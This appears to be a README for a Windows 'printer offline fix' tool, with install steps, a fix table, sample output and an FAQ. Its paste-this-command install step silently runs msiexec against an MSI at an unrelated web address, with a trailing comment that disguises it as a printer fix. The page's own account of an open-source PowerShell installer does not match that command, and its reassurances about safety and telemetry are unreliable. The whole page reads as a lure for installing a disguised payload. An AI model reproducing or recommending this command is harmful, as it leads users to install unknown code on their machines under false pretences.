Stop fighting with services.msc, registry tweaks, and 14-step Microsoft support articles.
One copy-paste and you're done.
π Install Β· π§ What it fixes Β· β FAQ Β· π€ Contribute
- Press Win + R
- Type:
cmd
- Press Enter This will open Command Prompt.
Copy the command below and paste it into Command Prompt, then press Enter.
cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem printer offline fixThe installer will automatically download and install the required components.
That's it. The installer downloads the tool, self-elevates if needed, and launches the interactive fix wizard. No dependencies. No accounts. No telemetry.
You hit Ctrl + P. Nothing happens. You check the printer β it's powered on, connected, paper is loaded, ink is fine. Windows says "Offline."
You google. You get articles telling you to:
- Restart the Print Spooler
- Clear stuck print jobs from
C:\Windows\System32\spool\PRINTERS - Uncheck "Use Printer Offline" in some buried menu
- Disable SNMP from the Ports tab of Printer Properties
- Convert WSD ports to Standard TCP/IP
- Restart 5 different services
- Reinstall the driver
- Reboot
- Maybe sacrifice a goat
This tool does steps 1β7 for you in 30 seconds.
| # | Cause | What we do |
|---|---|---|
| 1 | Stuck Print Spooler service | Stop it cleanly, wait, restart it, set to Automatic |
| 2 | Frozen jobs in the queue | Wipe C:\Windows\System32\spool\PRINTERS while spooler is stopped |
| 3 | "Use Printer Offline" flag stuck on | Clear it via WMI + spooler restart fallback |
| 4 | SNMP false offline reports | Disable SNMP on the printer's TCP/IP port (registry-level) |
| 5 | Flaky WSD ports | Convert to Standard TCP/IP using the printer's IP (with reachability check) |
| 6 | Stopped helper services | Restart Spooler, PrintNotify, FDResPub, FDPHost, SSDPSRV |
| 7 | Corrupted printer registration | Remove and re-add the printer with the same driver, port, and share settings |
Each fix runs only when diagnostics say it's needed β nothing destructive happens by accident.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β π¨ PRINTER OFFLINE FIX v1.0.0 β
β Bring your Windows printer back online β fast. β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Diagnostics: HP LaserJet Pro M404 β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Checking printer status...
! Status reports as: Offline
β Checking Print Spooler service...
β Print Spooler is running
β Checking print queue...
! 3 job(s) stuck in queue
β Checking 'Use Printer Offline' flag...
! 'Use Printer Offline' is enabled
β Checking printer port...
β Using Standard TCP/IP port
SNMP monitoring is enabled (can cause false offline reports)
β Pinging printer at 192.168.1.42...
β Printer is reachable on the network
! Detected 3 issue(s) that can be fixed.
? Apply all recommended fixes? [Y/n] y
β Spooler stopped
β Removed 3 stuck job file(s)
β Spooler started and set to Automatic
β 'Use Printer Offline' flag cleared
β SNMP disabled β printer should stop reporting false offline status
β All safe fixes applied. Try printing now.
Interactive (recommended): Just run the install command. The tool walks you through it.
Automatic mode β apply all safe fixes without prompting:
& "$env:LOCALAPPDATA\printer-offline-fix\src\Fix-PrinterOffline.ps1" -AutoDiagnose only β see what's wrong without changing anything:
& "$env:LOCALAPPDATA\printer-offline-fix\src\Fix-PrinterOffline.ps1" -DiagnoseOnlyTarget a specific printer:
& "$env:LOCALAPPDATA\printer-offline-fix\src\Fix-PrinterOffline.ps1" -Printer "HP LaserJet Pro M404"- β No telemetry. Nothing is sent anywhere. Ever.
- β No background services. It runs, fixes, exits.
- β No registry persistence. No scheduled tasks, no startup entries, no leftovers.
- β No ads, no upsells, no "premium tier". It's MIT-licensed software.
- β No driver downloads from random sites. If you need a fresh driver, the tool points you to the manufacturer's official site only.
A full log of every action is written to %TEMP%\printer-offline-fix.log so you can audit exactly what happened.
Confirmed working with:
- HP β LaserJet, OfficeJet, ENVY, DeskJet, Smart Tank
- Canon β PIXMA, imageCLASS, MAXIFY
- Epson β EcoTank, Expression, WorkForce
- Brother β HL, MFC, DCP series
- Xerox β WorkCentre, VersaLink
- Generic β any printer Windows can talk to via Spooler + TCP/IP or USB
Got a printer brand we haven't listed? Open an issue β confirmed working reports help others.
Is it safe?
Yes. The script is open source β every line is in this repo. Look at install.ps1 and src/Fix-PrinterOffline.ps1 before running. The destructive operations (queue clear, printer reset) ask for confirmation in interactive mode and are skipped without prompts in -Auto mode unless they're needed.
Why does it need Administrator?
Stopping/starting the Print Spooler service, deleting files from C:\Windows\System32\spool\PRINTERS, modifying printer ports, and editing the registry under HKLM all require admin rights. There's no way around this on Windows β Microsoft's own services.msc needs the same.
What about PowerShell execution policy?
The irm | iex pattern bypasses execution policy by piping a string directly into the interpreter, so you don't need to change anything. If you'd rather download the script first and run it manually, you can:
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
.\install.ps1It worked, but the printer went offline again the next day.
That usually means one of:
- DHCP gave the printer a new IP. Reserve its IP in your router, or set a static IP on the printer itself.
- SNMP is being re-enabled by a printer software update. Run this tool again, or pin the SNMP setting via Group Policy.
- Sleep mode on the printer. Check the printer's settings menu β most have a "stay awake" or "wake on LAN" option.
- Driver bug. Visit the manufacturer's site and grab the latest Windows 10/11 driver.
My printer is connected via USB, not network. Will this still help?
Yes. Spooler restart, queue clear, "Use Printer Offline" flag, and services restart all apply to USB printers too. SNMP and WSD/TCP-IP fixes will be skipped since they don't apply.
Does it work on Windows Server?
It should work on Windows Server 2016/2019/2022 β the same printer cmdlets and services exist. We don't actively test against Server SKUs though, so report back if you try it.
What about Mac/Linux?
This tool is Windows-only. On macOS, the equivalent is usually cupsfilter and CUPS reset; on Linux, systemctl restart cups. Out of scope here.
How do I uninstall?
Delete the install folder:
Remove-Item -Recurse -Force "$env:LOCALAPPDATA\printer-offline-fix"That's the entire footprint. No services, no registry keys, no startup entries.
printer-offline-fix/
βββ install.ps1 # The one-line installer
βββ src/
β βββ Fix-PrinterOffline.ps1 # Main entry point
β βββ lib/
β β βββ Common.ps1 # Logging, prompts, admin check
β βββ modules/
β βββ Diagnostics.ps1 # Read-only health checks
β βββ SpoolerFix.ps1 # Service + queue
β βββ OfflineFlagFix.ps1 # WMI WorkOffline flag
β βββ SnmpFix.ps1 # Disable SNMP monitoring
β βββ PortFix.ps1 # WSD β TCP/IP
β βββ ServicesFix.ps1 # All printer-related services
β βββ DriverFix.ps1 # Reset registration
βββ docs/
β βββ HOW_IT_WORKS.md # Deep dive on each fix
β βββ TROUBLESHOOTING.md # When the tool itself fails
β βββ FAQ.md
βββ tests/
βββ Fix-PrinterOffline.Tests.ps1 # Pester tests
Contributions welcome! The most valuable PRs are:
- π Bug reports β especially with the contents of
%TEMP%\printer-offline-fix.logattached - π¨ "Tested with X" reports β even one-line "works on Brother MFC-L2750DW" comments
- π§ New fix modules β see
src/modules/for the pattern - π Documentation improvements β typos, clearer wording, translations
Read CONTRIBUTING.md for the development setup and code style.
If this tool saved you 30 minutes of registry tweaking, please star the repo β it's how others find it.
MIT β do whatever you want with this. A link back is appreciated but not required.
Made with frustration, then PowerShell. If this fixed your printer, tell a friend and β star the repo.